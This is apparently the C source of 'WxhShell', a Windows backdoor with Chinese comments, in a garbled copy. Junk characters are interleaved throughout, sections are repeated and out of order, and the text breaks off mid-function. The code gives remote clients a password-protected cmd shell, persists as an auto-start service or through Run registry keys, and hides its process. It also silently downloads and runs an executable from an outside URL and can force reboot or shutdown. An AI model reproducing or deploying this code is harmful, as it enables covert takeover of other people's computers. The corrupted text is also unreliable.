p~pe*T if(NULL == hInst ) return 0; ,))UQ7N {P_~_5o_ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nL+*-R!R g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Hb3+$vJ^ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6s833Tmb&r 7RmL#f` if (!NtQueryInformationProcess) return 0; av( d0E}}b D@yg)$;z hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yWACIaj if(!hProcess) return 0; H V`{YuP -}m#uUqI if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4'W| '4'b p1Q[c0NMK CloseHandle(hProcess); nBd!296 u,
%mVd hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~EIY(^|py if(hProcess==NULL) return 0; &X
+Qi @+VvZc2Y HMODULE hMod; _M+'30 char procName[255]; x=yU
}lsV unsigned long cbNeeded; x-0IxWD% <_02)6j if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FX"% bh&,*Y6= CloseHandle(hProcess); @^y/V@lDm z[DUktZl if(strstr(procName,"services")) return 1; // 以服务启动 2hV#3i {}?s0U$5 return 0; // 注册表启动 TR,,=3n } %Yg;s'F>#q j=)Cyg3_% // 主模块 z0V d(QL int StartWxhshell(LPSTR lpCmdLine) ,9q=2V[GP { sB_o
HUMH6 SOCKET wsl; !ZbNW4rIP BOOL val=TRUE; U`JzE"ps] int port=0; Jp.Sow struct sockaddr_in door; GA{>=Q_~ YNbs*i& if(wscfg.ws_autoins) Install();
O+1e +vkqig port=atoi(lpCmdLine); 5nr}5bum hA?j"y0? if(port<=0) port=wscfg.ws_port; sJX/YGHt >U^AIaW WSADATA data; !arcQ:T@G if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l!\C"f1o, %*<k5#Yq if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; <pGPuw|~I setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g# :|Mjgh door.sin_family = AF_INET; {a9Z<P door.sin_addr.s_addr = inet_addr("127.0.0.1"); ??{ (.`}R~ door.sin_port = htons(port); -8qLshQ 6)P~3C' if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fcb:LPk; closesocket(wsl); Tfhg\++u return 1; @QtJ/("&WC } /a6\G.C5 A6}M F if(listen(wsl,2) == INVALID_SOCKET) { *Xt#04_ closesocket(wsl); r_]wa return 1; \~Zj](# } RMDs~ Wxhshell(wsl); m?xzx^xs/ WSACleanup(); !,Wd$UK 7|T<dfQk return 0; %96JH
YcX je.jui" } (`4^|_gw -:m;ePK // 以NT服务方式启动 4QK([q VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JiP]FJ; { 6}IOUWLB@ DWORD status = 0; 8iD_md_[ DWORD specificError = 0xfffffff; h$~ NPX %|Gi'-'|b$ serviceStatus.dwServiceType = SERVICE_WIN32; YWM$% serviceStatus.dwCurrentState = SERVICE_START_PENDING; 9x&,`95O serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z7MJxjH serviceStatus.dwWin32ExitCode = 0; 4r-jpVN~ serviceStatus.dwServiceSpecificExitCode = 0; y<k-dbr serviceStatus.dwCheckPoint = 0; Gu~y/CE' serviceStatus.dwWaitHint = 0; N2;T\xx, |A7Yv hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :D-d`OyjG> if (hServiceStatusHandle==0) return; Ka2U@fK" `8\pihww status = GetLastError(); @fT*fv
if (status!=NO_ERROR) p{!aRB% { NaG1j+LN serviceStatus.dwCurrentState = SERVICE_STOPPED; ZP*Hx
%U serviceStatus.dwCheckPoint = 0; SS
O$.rp serviceStatus.dwWaitHint = 0; k\Oy\z@ serviceStatus.dwWin32ExitCode = status; ):&A\nb serviceStatus.dwServiceSpecificExitCode = specificError; I'BoP SetServiceStatus(hServiceStatusHandle, &serviceStatus); DyG3|5s1R return; 8;p6~&).C~ } uwQ{y>SG !li Q;R& serviceStatus.dwCurrentState = SERVICE_RUNNING; :^3MN serviceStatus.dwCheckPoint = 0; 5h+g^{BE serviceStatus.dwWaitHint = 0; .Q?cNSWU if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5)V J } <X
j:c2@ W DY,? // 处理NT服务事件,比如:启动、停止 x+nrdW+ VOID WINAPI NTServiceHandler(DWORD fdwControl) Hm`9M.5b { oj$D3 switch(fdwControl) 3w
?)H { c>!>D7:7 case SERVICE_CONTROL_STOP: >t'/(y serviceStatus.dwWin32ExitCode = 0; z>vzXM serviceStatus.dwCurrentState = SERVICE_STOPPED; C#p$YQf serviceStatus.dwCheckPoint = 0; N+b"LZc serviceStatus.dwWaitHint = 0; gx4`pH;B\ { tn6\0_5n SetServiceStatus(hServiceStatusHandle, &serviceStatus); kxhvy,t } "X>Z!> return; 0+;.T1? case SERVICE_CONTROL_PAUSE: /81Ux@,(e serviceStatus.dwCurrentState = SERVICE_PAUSED; `9s5 *;Z break; rgB`<[:b case SERVICE_CONTROL_CONTINUE: 9HRYk13ae serviceStatus.dwCurrentState = SERVICE_RUNNING; J@H9nw+Q break; D._q'v< case SERVICE_CONTROL_INTERROGATE: 8G1Tpn break; zbx,qctYo$ }; Yj/S(4(h? SetServiceStatus(hServiceStatusHandle, &serviceStatus); #_QvnQ?I } engql; {_ww1'|A // 标准应用程序主函数 EHcqj;@m int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X;v/$=-mz { =:1f
0QF 3kdTteyy+ // 获取操作系统版本 j?+FS`a! OsIsNt=GetOsVer(); _z)G!_7.>\ GetModuleFileName(NULL,ExeFile,MAX_PATH); hBLJKSv nC qUg_{D // 从命令行安装 X/];*='Q if(strpbrk(lpCmdLine,"iI")) Install(); I&YYw8& !0fpD'f!n // 下载执行文件 cA`R~o"
if(wscfg.ws_downexe) { WA8Qt\Q if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6WgGewn WinExec(wscfg.ws_filenam,SW_HIDE); MH 'S,^J } 8K]fw{-$L ><TuL7+ if(!OsIsNt) { pYI`5B4 // 如果时win9x,隐藏进程并且设置为注册表启动 Od>Ta_ HideProc(); SvAz9>N4 StartWxhshell(lpCmdLine); :'f#0 ox } zr\I1v]?1# else l\ts!p4f$ if(StartFromService()) hp%|n:.G // 以服务方式启动 4M6o+WV StartServiceCtrlDispatcher(DispatchTable); dU3UCD+2y else @mNf(& // 普通方式启动 /.aZXC$] StartWxhshell(lpCmdLine); @PZ&/F^ a_L&*%; return 0; f&js,NU" } )2g\GRg6 9|D!&=8
n9050&_S }7IS:"tu =========================================== j7xoe9;TxI ch 4z{7 {Lk~O)E ,6}HAC $ 9-Ikd>9 0J7[n*~ " 4G;+ETp f%an<>j^w #include <stdio.h> G=jdb@V/? #include <string.h> WT;=K0W6& #include <windows.h> u!k\W{ #include <winsock2.h> 9 @!Og(l #include <winsvc.h> LU?X|{z #include <urlmon.h> KY! sI@m"A #pragma comment (lib, "Ws2_32.lib")
ZQD_w#0j #pragma comment (lib, "urlmon.lib") s!9.o_k 14]!LgH #define MAX_USER 100 // 最大客户端连接数 w[uK3A v #define BUF_SOCK 200 // sock buffer YS{])+s #define KEY_BUFF 255 // 输入 buffer fk5!/>X fS>W- #define REBOOT 0 // 重启 W7WHH \L/O #define SHUTDOWN 1 // 关机 oR[,?qu@f ipQJn_:2 #define DEF_PORT 5000 // 监听端口 #y&3`N z3 j_L 'Ztu3 #define REG_LEN 16 // 注册表键长度 ?NGM<nK;7 #define SVC_LEN 80 // NT服务名长度 hW~,Uqy z~L4BY @z // 从dll定义API M+gQN}BAr typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;'`T typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [`Ol&R4k typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dFjB &#Tl typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f h)Cz) z;zyk // wxhshell配置信息 sw[1T_S> struct WSCFG { |n \HxU3 int ws_port; // 监听端口 (8?t0}#t char ws_passstr[REG_LEN]; // 口令 H2BD5 int ws_autoins; // 安装标记, 1=yes 0=no 9b``l-rO char ws_regname[REG_LEN]; // 注册表键名 f+}?$' char ws_svcname[REG_LEN]; // 服务名 6;dQ#wmg char ws_svcdisp[SVC_LEN]; // 服务显示名 $LRvPan` char ws_svcdesc[SVC_LEN]; // 服务描述信息 -w1U/o. char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0F8y8s int ws_downexe; // 下载执行标记, 1=yes 0=no V9`VFO char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @g
}r*U? char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *Y?rls ` <T)9mJYr }; I+kGEHO} V()s!w // default Wxhshell configuration L~"~C(g struct WSCFG wscfg={DEF_PORT, '\(Us^Ug "xuhuanlingzhe", MBIt)d@Ix 1, N|O/3:P<,U "Wxhshell", N$aLCX "Wxhshell", 2o] V q "WxhShell Service", .>zXz%p "Wrsky Windows CmdShell Service", cWl "Please Input Your Password: ", B# |w}hj 1, $ii/Q:w T" "http://www.wrsky.com/wxhshell.exe", Om0Z\GP= "Wxhshell.exe" @.yp IE\ }; 'v GrbmK Y#V`i K // 消息定义模块 4`o_r% char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M`-#6,m3 char *msg_ws_prompt="\n\r? for help\n\r#>"; X~*1 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u>
XCE|D* char *msg_ws_ext="\n\rExit."; +7U$qEG char *msg_ws_end="\n\rQuit."; Yz us= char *msg_ws_boot="\n\rReboot..."; ZN~:^,PO/ char *msg_ws_poff="\n\rShutdown..."; "^fcXV9Wp char *msg_ws_down="\n\rSave to "; H{VVxj .}&bE1 char *msg_ws_err="\n\rErr!"; w=
|).qQ] char *msg_ws_ok="\n\rOK!"; hD/bgquT Z*tB= char ExeFile[MAX_PATH]; 3Wa^:8N int nUser = 0; mDEO$:A HANDLE handles[MAX_USER]; Di5eD,N int OsIsNt; ry\Nm[SQ 7;:R\d6iL SERVICE_STATUS serviceStatus; 5D8V)i SERVICE_STATUS_HANDLE hServiceStatusHandle; fW~r%u
.y 4:.yE|@h[ // 函数声明 kO{A]LnAH int Install(void); 5%,J@&5G s int Uninstall(void); KhIg int DownloadFile(char *sURL, SOCKET wsh); (2RZc].M~ int Boot(int flag); ;{[&&qMwU void HideProc(void); wHq*)7#h# int GetOsVer(void); >B<jR$`6@ int Wxhshell(SOCKET wsl); WPs6)8 void TalkWithClient(void *cs); [#`)Bb&w int CmdShell(SOCKET sock); bgq/]fI} int StartFromService(void); J.W0F# ? int StartWxhshell(LPSTR lpCmdLine); m/Ou$ cK%Sty'8+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .|^L\L(! VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1v)ur\>R [`Seh $ // 数据结构和表定义 \2KwF}[m SERVICE_TABLE_ENTRY DispatchTable[] = 48vKUAzx` { S+
gzl#r {wscfg.ws_svcname, NTServiceMain}, )ZC0/>R {NULL, NULL} BF{v0Z0/}k }; FpN >T Xb6X'rY // 自我安装 |re)]%A?Fu int Install(void) 141@$mMzE { |l'BNuiU char svExeFile[MAX_PATH]; F6J,: HKEY key; [vh&o-6 strcpy(svExeFile,ExeFile); EVZuwbO)| &o%IKB@ // 如果是win9x系统,修改注册表设为自启动 j;6kN-jx if(!OsIsNt) { 21Mr2-#z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *WdnP.'Y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qIIc>By(\" RegCloseKey(key); g\^7 Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @ px2/x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V<:scLm#OF RegCloseKey(key); wXI6KN- return 0; $L%gQkz_ } t1"-3afe }
cc`+rD5I- } +LFh}-X{_ else { NrA?^F 9>?3FMKdY // 如果是NT以上系统,安装为系统服务 )RV.N}NU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <*k]Aa3y if (schSCManager!=0) MG6taOO! { UP]X,H~stU SC_HANDLE schService = CreateService 6+`+$s0 ( _=l8e-6r schSCManager, 3"afrA wscfg.ws_svcname, 12r]"?@|s wscfg.ws_svcdisp, |:)UNb?R"O SERVICE_ALL_ACCESS, C]H'z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o+Cd\D69S SERVICE_AUTO_START, "g}m xPe SERVICE_ERROR_NORMAL, BN\Y
N svExeFile, P5,X,-eG NULL, <g9@iUOI NULL, ]$7dkP NULL, [HO=ii]Wb NULL, .YOC|\ NULL tA;#yM; ); wP:ab if (schService!=0) yvN;|R
{ gLp7<gx6 CloseServiceHandle(schService); vu7F>{D CloseServiceHandle(schSCManager); .$&_fUY strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )/uu~9SFd strcat(svExeFile,wscfg.ws_svcname); v:.`~h/b if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U4PnQ
K, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &\K p_ AR RegCloseKey(key); 3jx5Lou)& return 0; Z'/sZ3Q} } 6IRzm6d } .zDm{_' CloseServiceHandle(schSCManager); ";vP77|m7R } )S~ySiJ<U } oW7\T!f &4]~s:F return 1; #i6ZY^+ee } A\xvzs.d M{)7C,' // 自我卸载 AE?G+:B int Uninstall(void) ?-.Qv1hs6p { bSbUf%LKt HKEY key; a[).'$S}' aJ;6!WFW if(!OsIsNt) { 1uz7E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EGD&/%aC RegDeleteValue(key,wscfg.ws_regname); #0*OkZMt RegCloseKey(key); Wbra*LNU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bIs@CDB RegDeleteValue(key,wscfg.ws_regname); y*6-?@ RegCloseKey(key); s}m.r5 return 0; %p wpRD@ } QVEGd"WvvO } (}^Qo^Vr } @-d0~.S else { xNLvK:@0p IgxZ_2hO SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (A<'{J#5, if (schSCManager!=0) (bT3
r_ { -h n~-Sy+ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~]Md*F[4*e if (schService!=0) Aw~N"i { TOUP.,f/! if(DeleteService(schService)!=0) { i7 *cpNPO CloseServiceHandle(schService); +0&SXhy%y CloseServiceHandle(schSCManager); 3d_PY,=1 return 0; k2axGq } dF
(m!P/R CloseServiceHandle(schService); Z#Q)a;RA } xW hi> CloseServiceHandle(schSCManager); a
d,0*(</ } iD/r8_} } 0qdgt P R{y84$ return 1; 3jaY\(`%h } WZ#|?pJ jjbw+ // 从指定url下载文件 u=mJI* int DownloadFile(char *sURL, SOCKET wsh) {\87]xJ { Hf^Tok^6@] HRESULT hr; h_w_OCC&2 char seps[]= "/"; zc,kHO| char *token; oJ<Wh @ char *file; fD>0 char myURL[MAX_PATH]; _mi(:s( char myFILE[MAX_PATH]; Xfq]vQ/{ ]n/fB|t E strcpy(myURL,sURL); BAQ;.N4 token=strtok(myURL,seps); 4t Z. T9d while(token!=NULL) Wd0$t { #!h +K"wX file=token; [+j39d.Q token=strtok(NULL,seps); pbM"tr_A{ } P0/B!8x *,Mg GetCurrentDirectory(MAX_PATH,myFILE); Xy;!Q`h( strcat(myFILE, "\\"); Z
T5p strcat(myFILE, file); 6Eu&%` send(wsh,myFILE,strlen(myFILE),0); G0u3*. send(wsh,"...",3,0); s</llJ$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -_>g=a@& if(hr==S_OK) !edgziuO return 0; Sn_zhQxG else Ob|[/NN return 1; x:Nd>Fb :2n(WXFFI } 1.5lJ:[G '
YONRha // 系统电源模块 S dI/ int Boot(int flag) N]p|c3D { <;?&<qMo,P HANDLE hToken; aD5G0d?u TOKEN_PRIVILEGES tkp; X?F$jX|c Ya_4[vR< if(OsIsNt) { /_,} o7@t~ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _z3Hl?qk= LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5xEk 7g. tkp.PrivilegeCount = 1; i N}BMd.U tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <_|H]^o AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bnWKfz5 if(flag==REBOOT) { `Al[gG?/! if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O> { c0 H8FF3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~'4:{xH return 0; >:ZlYZ6sI } Wv else { [|sKu#yW if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b=#3p return 0; ;5*)kX } D4"](RXH } h= 3156M `R}D@ return 1; 3xW;qNj:!l } }}GBCXAf_ 'z#{'`$a // win9x进程隐藏模块 (VPT% l6 void HideProc(void) Yg;g!~ { jH*+\:UP- %;.|?gR HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %5_eos&<^) if ( hKernel != NULL ) ,u}n!quA { ==psPyLF@ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ))n7.pB9/ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o(W|BD! FreeLibrary(hKernel); mne^PSI: } ?-F SDNQ u+]v.Mt return; |wf:|% } zS:89y< F:/R'0 // 获取操作系统版本 5JbPB!5; int GetOsVer(void) 'DQp { t[6 g9 e$ OSVERSIONINFO winfo; ;+-$=l3[a winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]|q\^k)JU GetVersionEx(&winfo); i\S } aCm if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [@}{sH(#Ta return 1; }lgqRg)F9[ else Av*R(d=` return 0; 9?*BN\E5S } #lyvb.; NgKbf vt // 客户端句柄模块 %J`; int Wxhshell(SOCKET wsl) xDBEs* { F<?e79},` SOCKET wsh; j$*]'s&_hZ struct sockaddr_in client; DytOS}/^9 DWORD myID; LnJ/t(KV DA
oOs}D while(nUser<MAX_USER) :):=KowI { `4cs.ab int nSize=sizeof(client); r'hr'wZ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #R|M(Z">q if(wsh==INVALID_SOCKET) return 1; laM0W5 ?lb1K'( handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Gvt.m&_ if(handles[nUser]==0) *seKph+'c closesocket(wsh); KQ/v](77 else *DX6m nUser++; vi6EI
wZG } }>xgzhdT WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~(B\X?v p5C
sw5 return 0; ^(8 i``V } w\Q3h`.
!^ 6x64r // 关闭 socket L{~L6:6An void CloseIt(SOCKET wsh) 9AJ!7J#v" { gFJ&t^yL
closesocket(wsh); -e%=Mpq. nUser--; fHf+! ExitThread(0); t4?g_$> } lN+NhPF i^uC4S~ // 客户端请求句柄
zUqiz void TalkWithClient(void *cs) )dLESk { wCBL1[~C UTUIL D SOCKET wsh=(SOCKET)cs; }se)=7d8
Z char pwd[SVC_LEN]; dv%gmUUf}k char cmd[KEY_BUFF]; ~GfcI:Zz& char chr[1]; <uL?7P int i,j; 'oTcx Jx NV;5T3 while (nUser < MAX_USER) { ywk; Qd!;CoOmZs if(wscfg.ws_passstr) { 44?5]C7 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6!bA~"N //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5d(A( //ZeroMemory(pwd,KEY_BUFF); %kJ:{J+w] i=0; j&fr4t3 while(i<SVC_LEN) { |1 is!leP -baGr;,Cu // 设置超时 ,-c(D-& fd_set FdRead; d"XS;;l%< struct timeval TimeOut; 5];
8 FD_ZERO(&FdRead); ;k7` ` FD_SET(wsh,&FdRead); ]Vl5v5_ TimeOut.tv_sec=8; Ats"iV TimeOut.tv_usec=0; {<~XwJ. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z.Y7 u3K.8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q) /;|h *8/Q_w if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2{p`"xX pwd=chr[0]; p/lMv\`5 if(chr[0]==0xd || chr[0]==0xa) { GQ|kcY= pwd=0; -5vc0"?E break; z}C#+VhQ` } 35RH|ci& i++; NfR, m] } 8+gx?pb 'xStA // 如果是非法用户,关闭 socket 7!oqn'#>A if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4g\a$7r
} ]vQo^nOo PBn(k>=+ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (fh:q2E# send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
NFLmM
UUb!2sO while(1) { S;ulJ*qv #A]7cMZ'W ZeroMemory(cmd,KEY_BUFF); bdaZ{5^{ (^a;2j9 // 自动支持客户端 telnet标准 L{^DZg|E j=0; -ZQ3^'f:0J while(j<KEY_BUFF) { K!I]/0L if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `yYgL@Zt cmd[j]=chr[0]; V]k!] if(chr[0]==0xa || chr[0]==0xd) { ;S`N q%, cmd[j]=0; .j}u'!LKul break; Rdt8jY6F/ } ;%dkwKO j++; U%k e5uwP } `Q(ac|
0 Q^MB%L;D // 下载文件 c_ygwO3.Q if(strstr(cmd,"http://")) { }lpcbm send(wsh,msg_ws_down,strlen(msg_ws_down),0); niy@' if(DownloadFile(cmd,wsh)) kOdS^- send(wsh,msg_ws_err,strlen(msg_ws_err),0); @z/]!n\~ else i6`8yw send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _&(ij(H } z(\H.P# else { 3sp*.dk 34;c00 switch(cmd[0]) { Ac7`nvI= "E''ZBLO~ // 帮助 V'K$:9^x[8 case '?': { P< WD_W send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G~B
V^ break; 4`8.\ } _a<PUdP // 安装 /0o 2 case 'i': { Plq[Ml9
if(Install()) y'@l,MN{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); *?K`T^LS else oQyG send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,s)~Y
p?< break; Q.yKbO<[ } 2OT6*+D // 卸载 akCl05YW case 'r': { M;iaNL( if(Uninstall()) *|E@81s# send(wsh,msg_ws_err,strlen(msg_ws_err),0); [qZ4+xF,, else HqF8:z?v send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X! 2|_ break; }SN'*w@E } oTa! F;I // 显示 wxhshell 所在路径
gA[M case 'p': { 4l$8lYi char svExeFile[MAX_PATH]; _r8AO> strcpy(svExeFile,"\n\r"); \clWrK strcat(svExeFile,ExeFile); so8-e send(wsh,svExeFile,strlen(svExeFile),0); 23OVy^b break; aSF&^/j } $Ilr.6'; // 重启 =u'/\nxCF case 'b': { /GeS(xzQ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZDDwh&h if(Boot(REBOOT)) ,@!d%rL:4] send(wsh,msg_ws_err,strlen(msg_ws_err),0); S~TJF}[k^6 else { Z^~6pH\ closesocket(wsh); 3\WES! ExitThread(0); F
5JgR-P } f:UN~z'yr break; GecXM Aa:2 } ^Q OvK>W< // 关机 FN,uD:a case 'd': { <Ihn1? send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <bjy<98LT if(Boot(SHUTDOWN)) .N'UnKz send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q`s(T else { *
;M?R?+ closesocket(wsh); )xK!i. ExitThread(0); b,`\"'1 } nWl0R= break; $U0(%lIU } uf>w* [m5 // 获取shell =|#-Rm^YB case 's': { XM 7zA^- CmdShell(wsh); 6,h<0j{ closesocket(wsh); jF5JpyOc ExitThread(0); &%bX&;ECzf break; LPNv4lT[u } |kd^]!_ // 退出 <qy+@t case 'x': { ""a8eB6 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); co@8w!W CloseIt(wsh); lz*2wGI9 break; jFc{$#g- } x!jhWX // 离开 ~k%\ LZ3s case 'q': { )~n}ieS send(wsh,msg_ws_end,strlen(msg_ws_end),0); ' FK"-)s closesocket(wsh); Wm,,OioK WSACleanup(); Cn<kl^!Q- exit(1); <?g{Rn break; 8(I"C$D!k } z? aDOh } @gj5' } NAU<?q<) Xo5L:(?K // 提示信息 i,HAXPi if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,@;<u'1\G } o MAK[$k; } =ht@7z8QM EAkP[au. return; i*tj@5MY- } ')aYkO{%sb X<{m;T ` // shell模块句柄 &Xav$6+Z1J int CmdShell(SOCKET sock) Ll`apKr { $d=lDN STARTUPINFO si; 1%+^SR72 ZeroMemory(&si,sizeof(si)); D5p22WY si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FN
R&
: si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gkdjH8(2 PROCESS_INFORMATION ProcessInfo; o(zg_!P char cmdline[]="cmd"; L }mhMxOTi CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x9e
9$ww} return 0; ]5\vYk } x'qgpG}?] )'g vaT // 自身启动模式 >xjy
P!bca int StartFromService(void) <b\urtoJ { MI }D%n* typedef struct z)B=<4r { >gE_?%a[ DWORD ExitStatus; R[c_L= DWORD PebBaseAddress; ;gyE5n-{ DWORD AffinityMask; 34=0.{qn DWORD BasePriority; D4|_?O3|m ULONG UniqueProcessId; hTm}j,H ULONG InheritedFromUniqueProcessId; I}WJ0}R } PROCESS_BASIC_INFORMATION; ;'p'8lts h]#)41y< PROCNTQSIP NtQueryInformationProcess; * y B-N;I K0\WN"ua; static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &g!/@*[Nhh static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C0%%@
2+ ?2TH("hV$ HANDLE hProcess; i@*
^]' PROCESS_BASIC_INFORMATION pbi; 9& j] \abl|;fj HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S(6ZX>wv: if(NULL == hInst ) return 0; "ir*;| EHZSM5hu g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "Tv7*3> g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~-+Zu< NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -eMRxa> qAS^5|(b[ if (!NtQueryInformationProcess) return 0; Nt8( "x)DE, hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [XXN0+ / if(!hProcess) return 0; q*OKA5 YYHm0pc if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z@i4dC Q\76jD`m\ CloseHandle(hProcess); iIFQRnpu;3 <B`V hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4lA+V,# if(hProcess==NULL) return 0; o[#a}5Y >gl.(b25C HMODULE hMod;
`cpcO char procName[255]; ZAZCvN@5 unsigned long cbNeeded; +$t%L eXK`%' if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B]7jg9/ Kxn7sL$]=F CloseHandle(hProcess); fR%8?6 `?x$J
